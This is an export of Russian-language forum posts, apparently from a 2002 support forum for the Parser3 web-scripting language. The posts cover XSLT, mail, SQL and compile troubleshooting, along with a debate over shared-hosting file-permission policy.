		<xsl:apply-templates select=\"item\"/>\
	</xsl:template>\
	\
	<xsl:template match=\"item\">\
		<xsl:if test=\"contains($real_uri,@uri)and @uri!='/'\">\
			<xsl:text>::&#xA0;</xsl:text>\
			<xsl:value-of select=\"@title\"/>\
			<xsl:text>&#xA0;</xsl:text>\
			<xsl:apply-templates select=\"item\"/>\
		</xsl:if>\
	</xsl:template>\
\
</xsl:stylesheet>\
\
сейчас же выдезает ошибка:\
\
runtime error: file /home/httpd/html/www.innerdive.com/web/../xsl/navigation_common_title.xsl element if\
unregistered variable real_uri\
xmlXPathRunEval: parameter error\
xmlXPathEval: evaluation failed"
"10708","В отдельном окне (не работает):\
[code]\
<a href=\"javascript:window.open('^untaint[uri]{/catalogue/detail.html?title=$album.title&art=$album.artist}','Album_details','scrollbars,\
 resizable,top=50, left=50,width=605,height=500');void(0);\">...\
[/code]\
Более того. Если в $album.title или $album.artist присутствуют ' или & в первом случае кричит, что ошибка на странице, во втором выдаёт пустое окно.\
\
В том же самом окне (работает):\
[code]\
<a href=\"^untaint[uri]{/catalogue/detail.html?title=$album.title&art=$album.artist}\">...\
[/code]\
\
Я тоже думаю, что проблема тривиальна\
Высылаю сгенерированный код страницы.\
\
[code]\
<a href=\"javascript:window.open('/catalogue/detail.html?title=REMIX+ALBUM&art=BOMFUNK+MC%27S','Album_details','scrollbars,\
resizable,top=50, left=50,width=605,height=500');void(0);\">...\
[/code]"
"10709","забавный bug в MSIE :)\
\
он анализирует href и заменяет %26 на ' [b]до[/b] компиляции javascript. зачем и почему: загадка.\
\
решение очевидно:\
[b]не[/b] писать код в href, ему там совсем не место, туда надо написать прямой link для тех, у кого javascript'а нет. а нужные действия написать в onclick. так будет работать.\
\
[code]\
$link[^untaint[uri]{/path/to/document?field=$table.field}]\
<a href=\"$link\" onClick=\"window.open('$link', …)\">…\
[/code]\
"
"10710","потому, что нет ^double.save"
"10711","counter неоднократно обсуждался в форуме.\
упорно не ищете, и задаёте одни и те же вопросы.\
\
последний раз говорю: не забудьте о ^file:lock, иначе вполне можете потерять число в вашем счётчике.\
почему? поищите моё письмо.\
\
2миша: давай это в примеры, а ссылку в FAQ?"
"10713","1. возможно, вы, наконец поймёте sumo.\
ключевое: \
[code]\
$file[^image.gif[]]\
^file.save[binary;some.gif]\
[/code]\
\
2. возможно, вам больше понравится идея генерить картинку на ходу:\
[code]\
<img src=\"generate_price_gif.html?text=123123\">\
\
#а в generate_price_gif.html такое:\
…\
$response:body[^image.gif[]]\
[/code]"
"10714","я попробовал: нормально проходит.\
\
другое дело, что вы нарушаете XSLT стандарт, не объявляя параметр — так что если объявите и заработает, я не буду считать это ошибкой."
"10715","Хочу\
count := select count(*) from table\
\
А потом передавать его в uri.\
Ибо выполнять один и тот же запрос каждый раз нет смысла.\
\
Как это можно сделать?"
"10716","что в новой версии теперь \"^process\" работает только так:\
^process{^taint[as-is][$MyTable.MyTextField]}\
чтобы вывести текст из БД с html-форматированием?\
Покороче нет что ли записи (я пока другого варианта не нашёл)?\
Раньше такая запись нормально работала:\
^process{$MyTable.MyTextField}\
а теперь говорит фига вам - смотрите все хтмл-теги :).\
"
"10717","Данные, пришедшие из базы - \"грязные\""
"10719","полный список изменений см. в исходниках файл ChangeLog."
"10721","Там все было просто: Агава упорно не признавалась, что error-log не работает по ее вине. Мне они говорили, что \"мы не отвечаем за работу чужих скриптов, пишите в студию Лебедева...\" Я априори считал, что error-log настроен правильно, поскольку, ну не первый же я у них клиент! Процедура, видимо автоматизирована и отработана должна быть!?\
А тут, на форуме, я говорю, что все сделал по описанной в faq процедуре, а Парсер не работает... Мне в ответ: давай конкретику, где и что. А лог - пустой. В чем проблема? В парсере, который в лог не выдал ничего, или в логе, который не пишет ничего?\
Короче, в один прекрасный момент надо было выбрать, кому верить: студии Лебедева или Агаве? Я рискнул ;-) выбрал Лебедева и начал доказывать Агаве, что \"у них в консерватории что-то не так\". Вот на это доказательство и ушло главное время.\
\
P.S. Они (Агава) даже не извинились за свою оплошность. Такие дела.\
P.P.S. Не сочтите за антирекламу: все остальное мне у них пока нравится.\
Пока!"
"10723","Спасибо  за науку!"
"10724","Подскажите уважаемые гуру и монстры парсера (просьба не пинать ногами), дружит ли парсер с mssql сервером и если дружит то какие используются драйвера базы? Может подходять ODBC которые лежат в разделе скачать? Если у кого есть опыт в этом плане поделитесь списком возможных проблемм, предстоит серьезный проект и не хочеться выяснять все на горьком опыте. Пока есть возможность спорить насчет операционки, серверов баз и т.д."
"10725","В документации сказано:\
Класс предназначен для работы с электронной почтой. Описание настройки Parser для работы этого класса см. главу Настройка. \
\
...а в главе \"настройка\" нет ни слова \"email\" :(\
\
Может, я не очень внимательно читал? Надо ли специально настраивать Парсер для работы с классом email? Или все и так готово для его использования?\
Спасибо!\
"
"10727","Спасибо!"
"10728","Спасибо - еще раз! В следующий раз не буду торопиться с вопросами :-)"
"10729","кстати, кто-нибудь не считает, что давно пора написать с ADB?\
кто-нибудь напишет? [помогу всячески]"
"10730","Александр я тут бился с этим делом никак не выходит, вот привожу пример скажите что не так?...\
[code]\
@main[]\
###Определяем хеш (оригинал) \
$global_hash[$.row1(10)\
             $.row2[$.21(210)\
                    $.22(220)]\
             $.row3[$.31(310)\
                    $.32[$.temp[value]\
                         $.pop[3]]]]\
                         \
$new_hash[^add_with_change[$global_hash]]\
^new_hash.row3.32.add[$.imap[4]]\
^$GLOBAL_HASH=\
^show_ready_hash[$global_hash]<br>\
^$NEW_HASH=\
^show_ready_hash[$new_hash]\
<font color=\"red\" size=\"10pt\">И как видим всё добавилось в оригинал :( </font> \
\
#Метод создаёт копию оригинала причём добовляет ещё один ключ в копию  \
@add_with_change[my_hash]\
$result[^hash_create[$my_hash]]\
^result.row2.add[$.999[poops]]\
\
\
\
### Метод содаёт копию хеша, переданного в качестве параметра, при этом\
####  копирует структуру оригинала, не ссылаясь на объекты(только хеши) содержащиеся в оригинале\
##### (блин как хочется в это верить, но что то не так:( ) \
@hash_create[temp_hash][key;value]\
^if($temp_hash is 'hash'){\
 $result[^hash::create[$temp_hash]] ^rem{если убрать из конструктура параметр, \
                                          то потеряется ключ 31 в row3(куда девается,\
                                           не могу понять...)}\
    ^temp_hash.foreach[key;value]{\
	  ^if($value is 'hash'){\
	  	^result.add[$.$key[^hash_create[$value]]]} 	\
	     }{\
	     	^result.add[$.$key[$value]]\
		}\
	}{$result[$temp_hash]}\
\
### Метод выводит содержимое хеша \
@show_ready_hash[this_hash][key;val]\
^if($this_hash is 'hash'){\
<ul>\
^this_hash.foreach[key;val]{\
	^if($val is 'hash'){\
		<li>$key^[\
		^show_ready_hash[$val]\
			^]		\
	}{\
		<li> ^if($val is 'string'){$key^[$val^]}{$key^($val^)}\
	}\
}[</li>]\
</ul>\
}{\
<br><font color=\"red\" size=\"6pt\">\
<i><b>The parameter is not a hash! Here is its value=</b></i></font>\
<font color=\"green\" size=\"7pt\">$this_hash</font><br>}\
[/code]\
"
"10731","Если сервер под XP на нем апачи и microsoft sql 2000 и парсер с odbc драйверами то все вместе будет нормально работать. Я правильно понял?"
"10732","Тестовый пример из документации:\
^mail:send[ \
      $.from[имя1 <adres1@mydomain.ru>] \
      $.to[имя2 <adres2@zmail.ru>] \
      $.subject[Тест из Парсера] \
      $.text[Это первый тест автоматической отправки почты из Парсера] \
] \
\
привел к получению письма на adres2@zmail.ru в заголовке которого был лишний (второй) адрес отправителя и лишний адрес получателя, оба такие:\
@delta1.agava.net\
\
Это опять кривые настройки у Агавы, или с этим можно бороться у меня?"
"10733","... она стандартная, в auto.p прописано:\
\
/usr/sbin/sendmail -t -i -f postmaster \
"
"10734","в методе hash_create\
у тебя foreach како-то не очень красивый по моему. возможна ошибка.\
"
"10735","у меня есть записи в базе данных MySQL (products):\
\
id name paid\
1 lilit 10000\
2 medi 5000\
3 turint 1000\
\
я хочу получить сумму столбца paid и пытаюсь сделать это так:\
[code]\
^connect[$connect_string]{$summ[^table::sql{select sum(paid) from products}]}\
[/code]\
\
и получаю ошибку:\
method is static and can not be used as constructor sql\
\
как решить такйю проблемму?\
"
"10736","вот, только что проверил, вроде работает\
echo test > .htaccess\
создает файл со словом test"
"10738","я уже думаю сделать в лоб:\
[code]\
^connect[$connect_string]{$summ[^table::sql{select * from products}]}\
$end_summ[0]\
^if($summ){\
^summ.menu{^eval($end_summ+$summ.paid)}\
}\
[/code]\
\
но вопрос остается в силе! так окажется что еще какиенить mysql команды не работают :о("
"10739","Можно ли как-нибдь обработать ответ сервера?\
Он возвращает информацию в текстовом виде, в формате: \
\
параметр=значение\\n \
параметр=значение\\n \
. . . \
\
можно/нет? и как?\
\
________\
спасибо!\
"
"10740","только что проверил у себя на сервере:\
[code]^connect[$connect_string]{$summ[^int:sql{select sum(num) from test}]}[/code]\
\
работает и суммирует ..."
"10741","что вы понимаете под \"как-нибдь обработать ответ сервера\" ?\
\
Если вам надо вытянуть все пары параметр=значение, то воспользуйтесь regexp."
"10743","Вот сервер в логах выдает такую штуку\
\
[Fri Dec 20 12:04:21 2002] [error] [client x.x.x.x] Premature end of script headers: /www/virtual/x/cgi-bin/parser3.cgi\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
\
В чем ошибка?"
"10745","для порядка:\
\
какая программа, может задаваться при сборке бинарников.\
все бинарники в нашем download собраны с фиксированными sendmail:\
ищутся(в таком порядке):\
[code]\
/usr/sbin/sendmail\
/usr/lib/sendmail\
[/code]\
и запускаются с ключами\
[code]\
 -t -i -f postmaster\
[/code]"
"10746","я думаю, что да, кривая программа, только называющая себя sendmail что-то пытается мудрить.\
\
если есть возможность, стандартным образом отправив письмо. уверен, придёт так же криво.\
[или с консоли, или простым скриптом на shell/perl]\
\
я ещё могу себе представить, как в parser можно было бы попробовать обойти проблему с двойным from, однако двойной to, это точно самодеятельность тамошней почтовки [или каких-то узлов по-дороге]."
"10748","Есть некая программа. Что он делает не так важно :-)\
Есть желание, дать этой программе возможность выводить данные в виде html. То есть сделать тонкого клиента для работы в локальной сети. На парсере.\
\
Вопрос такой: если программа сия будет распространяться, то могу ли я включать дистрибутив парсера в общий дистрибутив (естественно, везде и повсюду ссылаясь на parser.ru) Или я должен давать ссылку, чтобы покупатель самостоятельно его скачивал?\
\
И вообще.. могу ли я?"
"10749","Хех, аж смешно:\
На localhost перешел на parser3 и вновь ошибка:\
$SQL:drivers table must be defined  type: parser.runtime"
"10751","А можно как-то обойти ограничение в 10000 исполнений?\
Ну надо мне..."
"10753","Де нет, все кроме SQL работает... "
"10754","3.0.0006\
linux 2.2.16  (Slackware 7.1)\
Скомпилировал точно по инструкции в INSTALL с поддержкой xml\
просто так - работает\
sql - работает\
xml - не работает: 500 Server error и segmentation fault, если запускать из консоли.\
\
Я в плане линукса очень не силен, могу делать только по бумажке +/- что догадаюсь.\
\
Большая просьба направить куда рыть.\
\
Спасибо.\
"
"10756","Нашел ветку про OpenBSD http://parser.ru/forum/?id=10194 - очень похоже. Вы в почту ушли, а можно меня тоже подержать в курсе?"
"10757","ну да... нужно вытянуть все все пары параметр=значение...\
А средствами САМОГО парсера нельзя?"
"10758","Сабж"
"10759","На самом деле Parser это судя по всему просто подборка скриптов, предназначенная для запудривания мозгов клиентам великого Артемия. И не дай бог кому связаться с этим творением!!!"
"10760","Естественно, все развивается в сторону счастья клиентов. Проект сдан вовремя, деньги студией design.ru получены и ничто более не омрачает Ваших попыток победить это творение...\
Даже и не пытайтесь..."
"10761","Сделал себе такой код, на основе учебника, поэтому работает:\
@navigation[] \
^if(-f \"../../sections.cfg\"){\
  $sections[^table::load[../../sections.cfg]] \
  <table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\" cellpadding=\"1\"> \
     <tr  bgcolor=\"#FFFFFF\"> \
     ^sections.menu{^navigation_cell[]} \
     </tr> \
  </table>\
}\
\
^if(-f \"../sections.cfg\"){\
  $sections[^table::load[../sections.cfg]] \
  <table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\" cellpadding=\"1\"> \
     <tr  bgcolor=\"#FFFFFF\"> \
     ^sections.menu{ \
        ^navigation_cell[] \
     } \
     </tr> \
  </table> \
}\
\
^if(-f \"sections.cfg\"){\
  $sections[^table::load[sections.cfg]] \
  <table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\" cellpadding=\"1\"> \
     <tr  bgcolor=\"#FFFFFF\"> \
     ^sections.menu{ \
        ^navigation_cell[] \
     } \
     </tr> \
  </table> \
}\
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   \
      <td width=\"$cell_width\" align=\"middle\">  \
      <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
}   \
\
То есть в корне рисует только одну строку с параметрами из sections.cfg корня, из подкаталого рисует предыдущую строку и строку с параметрами из sections.cfg уже этого каталога. Теперь надо чтобы он указывал текущее местоположение не только на нижнем уровне, но и на более верхнем, а как изменить для этого @navigation_cell[] прошу вас помочь предложить что-нить простое, сам не справляюсь..."
"10762","Аттачу файл так: <input type=\"file\"...>\
Диалоговое окно показывает все файлы(*.*).\
проблема: как поставить фильтр на отображение определенных типов(*.gif; *.jpg)."
"10763","Попробывал установить Парсер, все скачал. Но функции не работают. И еще у меня не сервер, а простой комп с Windows XP. Кто-нибудь знает как его установить, в какую папку и чтобы можно было разрабатывать сайт дома?"
"10764","Проблема с его исполнением из-под браузера есть:\
\
$ id wwc\
uid=2099(wwc) gid=310(gcc) groups=310(gcc)\
$ egrep 'parser.*uid 2099' /var/log/all\
Dec 21 01:11:17 pm12 /kernel: pid 11292 (parser3.cgi), uid 2099: exited on\
signal 11 (core dumped)\
Dec 21 01:11:44 pm12 /kernel: pid 11479 (parser3.cgi), uid 2099: exited on\
signal 11 (core dumped)\
Dec 21 01:12:02 pm12 /kernel: pid 11672 (parser3.cgi), uid 2099: exited on\
signal 11 (core dumped)"
"10765","FreeBSD pm12.zenon.net 4.6-STABLE FreeBSD 4.6-STABLE #0: Tue Sep 10 11:54:18 MSD 2002     uitm@omega.hq.zenon.net:/var/uitm/ncvs/ports/contrib/FreeBSD/work/freebsd-stable-4.6/sys/compile/postman  i386"
"10769","Блин, кривые рури всяким ... поотрывать\
Любой входящий *.cgi автоматом принимался как ansi ...\
\
Да, а вот еще вопроси нет ли у кого з3 для freebsd с отключенной foreign group?"
"10771","Это тока у меня?)))) Хотя конечно нет..."
"10772","Часть проблемы решена: при использовании кириллицы в поле from и в поле to, например так:\
\
<p>Отправка email по фиксированному адресу</p>\
^mail:send[ \
      $.from[Русское_имя1 <name1@domain1.ru>] \
      $.to[Русское_имя2 <name2@domain2.ru>] \
      $.subject[Test from Parser] \
      $.text[Это первый тест автоматической отправки почты из Парсера] \
] \
\
Парсер выдавал в оба поля два адреса, кроме указанный добавлялось через запятую @delta1.agava.net то есть адрес почтового сервера без имени почтового ящика.\
\
Стоило убрать кириллицу - \"лишний\" адрес сам по себе пропал. Я правильно понимаю, что надо использовать метод taint для обработки полей заголовка? И второе: а почему собственно Парсер так странно реагирует на необработанную кириллицу в заголовках? Почему именно такой адрес и через запятую он добавляет? (исходники смотреть - лениво, потому что долго;-)\
\
Спасибо!"
"10773","симптомы те же. Делаю в точности по инструкции. \
\
Когда патчу libgdome_cpp_syntax2.patch вылазит такое:\
Hunk # succeeded at 106 with fuzz 1 \
это нормально?\
\
Начал пробовать 3.0.0005 - патча libgdome_morestatic.patch в дистре не оказалось. gdome не компилируется - пишет ошибку. Чего-то там не нашел.\
\
Блин! Я уже научился red hat ставить, а парсер с xml так и не работает. Хелп!"
"10774","Чего не работает запрос?\
^connect[$MAIN:mysql_connect]{$lastid[^int:sql{select last_insert_id() from users}]}\
\
И вообще у меня вопрос - когда обрывается соединение с базой данных, после выполнения запроса, после окончания работы скрипта, или когда?"
"10775","http://www.parser.ru/download/license/\
Кстати, не забудь тогда и Apache со всем этим распространять, а то неполный комплект получится. ;-) "
"10777","утверждение \"Скомпилировал точно по инструкции в INSTALL\" не принимается, т.к. почему-то каждый читает одно и то-же по разному, а телепатов тут нет.\
\
ничего не увидел в сообщении про расположении файлов: парсера, конфига, драйвера sql, библиотек xml.\
"
"10778","Подскажите, может я что-то не так делаю\
\
os - freebsd 4.7 release\
gzip -d parser-3.0.0006.sp1.tar.gz\
tar -xf parser-3.0.0006.sp1.tar\
cd parser-3.0.0006\
./configure --enable-foreign-group-files\
make\
\
Компилятор выдает ошибку 1:\
don't know how to make ../../classes/libclass.a Stop Error code 1"
"10779","Подскажите, где читать:\
\
Есть форма, ее требуется заполнить полностью. Если форма заполнена не до конца, то проверкой через if вывожу сообщение об ошибке и документ в браузере обновляется (пример взят из документации). Поля формы при этом очищаются, а надо бы, чтобы уже заполненное сохранилось (иначе очень долго будет повторять, если была ошибка).\
\
Спасибо!"
"10780","Если ничего не возвращает, так и не должен ;-)\
last_insert_id() определен только в пределах одного connect, да и то после insert into."
"10781","отдавать <input name=\"aaa\" value=\"$form:aaa\" />?"
"10782","Если версии другие, патчи могут лечь неверно."
"10783","Понял ;-)\
Спасибо!"
"10784","не root\
~/ = /usr/local/www/apache\
$D у меня /usr/local/www/apache/parser\
В $D создал parser3project, parser3 и gnome\
\
закачал в $D/parser3project parser-3.0.0006.sp1.tar.gz\
разгзипил\
переименовал что получилось в parser3\
\
закачал в $D/parser3project libxml2-2.4.12.tar.gz, libxslt-1.0.9.tar.gz, glib-1.2.10.tar.gz, gdome2-0.7.0.tar.gz\
разгзипил\
далее по очереди патчу, конфигурю и инсталлю с префиксами /usr/local/www/apache/parser/gnome (то есть $D/gnome) везде, где это надо\
копирую gdome-xml-node.h и gdome-xml-document.h куда сказано\
xml библиотеки оказываются в /usr/local/www/apache/parser/gnome\
\
конфигурю парсер:\
./configure --prefix=/usr/local/www/apache/parser/parser3 --with-static-xml=/usr/local/www/apache/parser/gnome\
[\
Может быть здесь еще надо --with-glib-config=/path/to/your/glib-config но когда я попробовал так: --with-glib-config=/usr/local/www/apache/parser/gnome вылезла ошибка при компиляции. Надо?\
]\
make\
make install\
\
sql пока не трогаю. переименовываю auto.p.dist в auto.p\
правлю release на debug. Остальное оставляю.\
\
_test.html в ~/htdocs\
parser3 и auto.p cp в ~/cgi-bin\
cd ~/htdocs\
../cgi-bin/parser3 _test.html\
Segmentation fault\
../parser/parser3/bin/parser3 _test.html\
Segmentation fault\
\
любой пример с xdoc из мануала - аналогично.\
остальное работает. sql тоже (когда библиотеки добавил)\
\
все."
"10786","Придет PAF - с ним надо разбираться. Что в данном случае не так, может подсказать, наверное, только он."
"10787","Через браузер.\
\
Если в конфигурационном auto.p убрать из @auto[] \
$request:charset[windows-1251] \
вылазит такое:\
[\
Unhandled Exception (Debug)\
transcodeFromUTF8 error: too big tmpVal(0xB3C61CB2)\
]\
\
если плюс к этому убрать \
$response:charset[windows-1251]\
_test.html работает, но в секции xml вот это:\
\
[\
Создание объекта типа xdoc:\
что-то не срослось с XML-ем... Возможно из-за кодировок... \
Сообщение об ошибке: \
\
Entity: line 3: error: Input is not proper UTF-8, indicate encoding ! <t attr=\"привет\" n=\"123\"/> ^ Entity: line 3: error: Bytes: 0xEF 0xF0 0xE8 0xE2 <t attr=\"привет\" n=\"123\"/> ^ \
create \
]\
\
щас буду копаться дальше"
"10788","в файлике main.xslt есть такая строка\
<xsl:variable name = \"menu\" select = \"document('map.xml')\"/>\
\
Parser выдает x:/www/main.xslt' warning: failed to load external entity \"x:///www/map.xml\"\
  type: xml\
\
Каким образом можно это обойти?"
"10789","Мне надо вставить в базу запись и получить её ID!\
такое не работает: \
\
^connect[$MAIN:mysql_connect]{^void:sql{insert into users(...) values(...)}\
$lastid[^int:sql{select distinct last_insert_id() from users}]}\
\
почему? подскажите как это сделать средствами parser?\
"
"10790","   ^mail:send[\
               $.from[...]\
               $.to[$form:email]\
               $.subject[...]\
               $.html{...}\
               $.charset[koi8-r]\
             ]\
\
такое тоже не работает. Ошибка вылазит такая:\
\
transcodeFromUTF8 error: too big tmpVal(0x019AEA65)"
"10792","да у меня дома тоже работает. а там, куда я всё это сливаю там не работает..."
"10793","оно таки работает. но проблема в другом. я потом этот номер $lastid высылаю по мылу, а мыло приходит пустым. не понятно почему?\
\
   ^mail:send[\
              $.from[admin@domain.com]\
              $.to[$form:email]\
              $.subject[...]\
              $.html{<b>$lastid</b>}\
         ]\
мыло приходит пустое, а в $lastid реально записано число.\
"
"10794","А то раньше приходилось использовать [url=\"./?id=4103\"]внешние утилиты[/url]. Хочется надеяться, что встроенные функции будут работать быстрее? ;-) "
"10795","После миграции с 3.0.0005 на 3.0.0006 перестала работать документированная особенность класса cookie. В коде, приведённом ниже, конструкция \"$.expires[session]\" не выполняется. \
\
[code]\
$cookie:test1[\
	$.value[test1test]\
	$.expires[session]\
]\
[/code]"
"10797","Подскажите, может я что-то не так делаю\
\
os - freebsd 4.7 release\
gunzip -c parser-3.0.0006.sp1.tar.gz | tar xvf - \
cd parser-3.0.0006\
./configure --enable-foreign-group-files\
make\
\
Компилятор выдает ошибку 1:\
don't know how to make ../../classes/libclass.a Stop Error code 1"
"10798","вообще-то в Makefile* написано\
[code]\
../../classes/libclasses.a\
[/code]\
\
вы неточно копируете сообщение об ошибке?\
или копируете [b]не первое[/b] сообщение?\
для начала сразу попробуйте gmake, не получится, давайте уйдём с этим в почту.\
\
"
"10800","параметры записи cookie игнорировались совсем :("
"10801","Люди! помогите!\
может, я что-то не так понял, но в результате работы\
[code]\
$cgi_file[^file::cgi[/cgi-bin/test.cgi]]\
$cgi_file.text\
[/code]\
\
где [b]test.cgi[/b] есть\
[code]\
#!/usr/bin/perl\
print \"Content-type: text/plain\\n\\n\";\
open(LOGFILE,\"../data/traffic\");\
@logfile = <LOGFILE>;\
close(LOGFILE);\
foreach $line (@logfile){\
 print \"$line\";\
}\
print \"Hello\";\
exit(0);\
[/code]\
\
получаю следующее:\
[b]Hello[/b]\
\
... и все :(\
"
"10802","1. в доке не написано, но parser ведёт себя как apache: перед запуском скрипта он меняет текущий каталог на каталог со скриптом.\
поэтому ваш ../data, это vcgi/../data/, а не что вы могли подумать.\
[подпишу в доку]\
\
2. неплохо бы проверять, открылся ли файл, и делать die с соответствующим сообщением, тогда бы вы сами увидели проблему в $file.stderr & $file.status\
\
3. зачем вам file::cgi? тут можно обойтись file::exec…"
"10803","Патча libgdome_morestatic.patch в дистрибутиве действительно нет, его можно взять с CVS, либо я кину по почте. После консультации с PAF'ом выяснилось, что требуется поправить некоторые .h файлы в gdome. По крайней мере на OpenBSD это сработало... если нужно, могу выложить список изменений."
"10804","А нельзя-ли все-таки изменить существующую политику по распространению дистрибутива Parser'а и выкладывать для скачивания сразу и \"стандартную\" версию, и версию с enable-foreign-group-files? Все равно ведь приходится Вас просить и отнимать время. Ну или юзерам приходится друг у друга скачивать, что тоже время отнимает понапрасну :-("
"10805","«не было». в 3.0.0006 есть."
"10806","помучился мальца...\
в результате выяснил, что без проблем все работает, если при открытии файла указывать полный путь к нему.\
а можно как-нибудь с этим побороться, чтобы относительные пути тоже срабатывали?\
на всякий случай:\
[code]\
-root-dir-\
 [cgi-bin]\
 [data]\
 ...\
 [color=\"blue\"]index.html[/color]\
[/code]\
\
и все тот же пример (скрипт в [b]cgi-bin[/b]):\
[code]\
...\
open(LOGFILE,\"../data/traffic\") || die \"Cannot open file!\";\
...\
[/code]\
"
"10807","будет большое дело.\
\
если скрипты всех пользователей на вашем hosting работают от одного имени, [b]ответьте[/b] что мешает кому-нибудь, зная имя каталога и файла, прочесть \
[code]\
../your_directory/your_secret.txt\
[/code]\
?\
"
"10808","налицо взаимонепонимание.\
попробуйте добавить к perl-скрипту такое:\
\
[code]\
print `pwd`;\
[/code]\
\
возможно, поможет пониманию происходящего"
"10809","вполне возможно, что я многого недопонял. поэтому и обращаюсь.\
\
я тестирую хост под Виндами.\
веб-сервер - Апач без дополнительных примочек.\
у виртуального хоста свой cgi-bin каталог (см. сообщение выше - там root-dir - это DocumentRoot для этого хоста)\
\
поэтому способ с [b]print `pwd`;[/b] в скрипте не прокатил\
\
PS: путь к рут-каталогу хоста - f:\\home\\host1\
 далее - по тексту. у меня что-то не выходит. помогите, пожалуйста"
"10810","какой способ?\
вы напечатайте и посмотрите, в каком же каталоге работаете.\
\
если в том, в котором думаете, проверяйте права.."
"10811","Михаил спасибо большое, да как то проглядел...\
И ещё спасибо, за желание помочь по мылу!!!!"
"10812","\"...ответьте, что мешает кому-нибудь, зная имя каталога и файла, прочесть\
../your_directory/your_secret.txt?...\"\
\
Отвечаю на твой вопрос: никто не может прочесь \"_мой_сикрет_док_\" из-за отсутствия такового на моих серверах. Не надо хранить секреты в сети - всего делов-то :) А уж если настанет мне когда нужда кредитки принимать в онлайне или еще чего - озадачусь установкой собственной машины в сети (со-локэйшен) и провайдера подберу соотвтетствующего. Ну или ассист.ру или что-то подобное надо будет прикрутить.\
\
Я кажется понял суть Вашей политики: Вы решили, очевидно, выступить \"воспитателями\" администраторов? А с чего вдруг? Кто-то попросил Вас об этом или сами решили позабиться о... а о ком, собственно? Мне, например, от этого только гемморой..."
"10813","Значит, такая бяка :\
В Парсере есть хорошая штука ^throw[], которая дает возможность контролировать течение программы, и сообщеть юзеру разные мессаги по поводу допущенных ошибок (к терминологии и формулировкам не придираться). Я рад за эту фичу.\
НО!\
Когда я использую класс, и в нем отлавливаю ошибки пользователя (не те параметры, не тот код), сообщение, которое я покажу на экран скажет, что мол, ошибка в файле ххх.р(файл класса), в такой-то строке. Хотя в файле класса все чисто - ошибку допустил юзер! Ну, и как самый умный, юзер сразу щимится корректировать ошибку в классе!\
Как мне сказать ему, что ошибка произошла в его! коде, в таком-то файле, в такой-то строке? Чтоб юзер правильно ошибки правил!\
А то берут класс, херню пишут, а потом - \"Да у тебя в классе одни ошибки!!!\" Обидно, знаете...."
"10814","где админам \"не досуг\" нормально веб-сервер настроить? У меня админы даже вопросов подобных не задают - всегда и везде ставят SuEXEC ... В конце концов есть рекомендации по безопасности apache.org ..."
"10819","я разобрался.\
по крайней мере, на моей системе\
парсер сменил каталог не на каталог со скриптом ([b]cgi-bin[/b]), а на каталог с [i]интерпретатором скрипта[/i] (в моем случае это [b]perl.exe[/b], каталог [b]/usr/bin/[/b])\
\
так что вот как получилось...\
хотя не исключаю, что в первом вашем ответе [i]каталог со скриптом[/i] и подразумевался как вышесказанное\
\
кстати, все решилось банальным\
[code]\
opendir(DIR,\".\");\
@cat = readdir(DIR);\
closedir(DIR);\
foreach $line (@cat){\
 print \"$line\\n\";\
}\
[/code]\
\
в виндах по другому не выходит"
"10820","По-моему, такие ошибки удобнее обрабатывать в @unhandled_exception[], т. к. туда передается стэк вызовов, из которого можно выделить то место, где ошибся юзер."
"10821","Возмите net.ru: серьезный хостинг, а на просьбы настроить suExec никак не реагируют..."
"10824","из письма службы тех поддержки:\
[quote]\
Кстати, относительно http://www.egoroff.spb.ru/opinions/11.html \"disable-foreign-group-files\", у нас suexec специально меняет gid на другой именно для безопасности. Не стоит принимать нас за идиотов :)\
[/quote]"
"10825","ибо Студия Лебедева в конце концов не пуп земли, а популярности парсеру данная политика совсем не добавляет, вспомните продукты Microsoft, сколько в них дырок? правильно много, но Windows стоит на 90% компьютеров мира, а вот пресловутая самая защищенная свободная ОС OpenBSD вряд-ли стоит даже на 1%.\
\
Вообще, в сложившейся ситуации, слова Студии о том, что парсер станет стандартом для инета - это полный бред, - не станет, при такой политике не станет. Надо быть проще."
"10826","я тоже пробовал собрать под FreeBSD, но ничего не получилось, вообще инструкция по сборке под Unix ужасна и у меня опустились руки, правда. Перед этим мне хватило пары часов чтобы научиться собирать и ставить такую вещь как PostgreSQL, которая думаю посложнее парсера будет, да и сборка Apache на ура прошла."
"10827","см. http://parser.ru/forum/?id=10824 кстати на Zenon тоже что-то подобное, а в Zenon совсем не пионэры работают. Скорее мы тут имеем дело с блажью отдельных личностей."
"10828","а то HEAD очень капризная штука. Да и неплохо бы выложить измененную версию в соотв. раздел, а то слова о том, что берите исходники и сами собирайте похожи на - отстаньте от нас все, - людям со временем такое надоест, они отстанут, совсем ..."
"10829","Наш админ без проблем собирает Апач с поддержкой Парсера минут за 10-15 ... Естественно, что перед этим он поставил и пропатчил все необходимые библиотеки. И это при том, что о программировании он имеет достаточно поверхностное представление [вплоть до того, что он меня периодически просит ему всяческие утилитки под юникс написать]. ... Это я все к тому, что каждым делом должны заниматься специалисты: если стандартная установка Парсера не прокатывает, то это [b]проблемы администрации сервера, а не вебмастеров[/b] и решать их не нам с вами, а админам. В конечном итоге мы им деньги за это платим."
"10830","тем более, что выпуск версии 3.0006 получился не совсем корректным: несколько серьезных багов в релизе не есть хорошо."
"10831","[quote]\
Представьте себе ситуацию. Вы пытаетесь войти в автобус, подъехавший к остановке. Но он не останавливается — лишь сбавляет скорость. В этот момент несколько людей на роликах разгоняются и впрыгивают в салон.\
\
Хотя у вас и нет роликов, помогающих добраться до автобуса, вы решаете просто добежать до него. Вот уже появилась задняя дверь, вы хотите вскочить на подножку, но тут выясняется, что рядом с дверью находится специальное устройство, которое нужно активировать, чтобы двери открылись. \
\
Вы плюхаетесь на асфальт, так и не сев в автобус. Пассажиры, сидящие внутри, ликуют — вы оказались неподготовлены.\
\
— Ламер! — констатирует водитель, нажимая на газ.\
\
У вас не оказалось роликов и вы не смогли активировать устройство, открывающее двери. Больше того, вы еще и габаритами не вышли — даже если вы оказались экипированы и обучены, дверь оказалась бы слишком узкой.\
[/quote]\
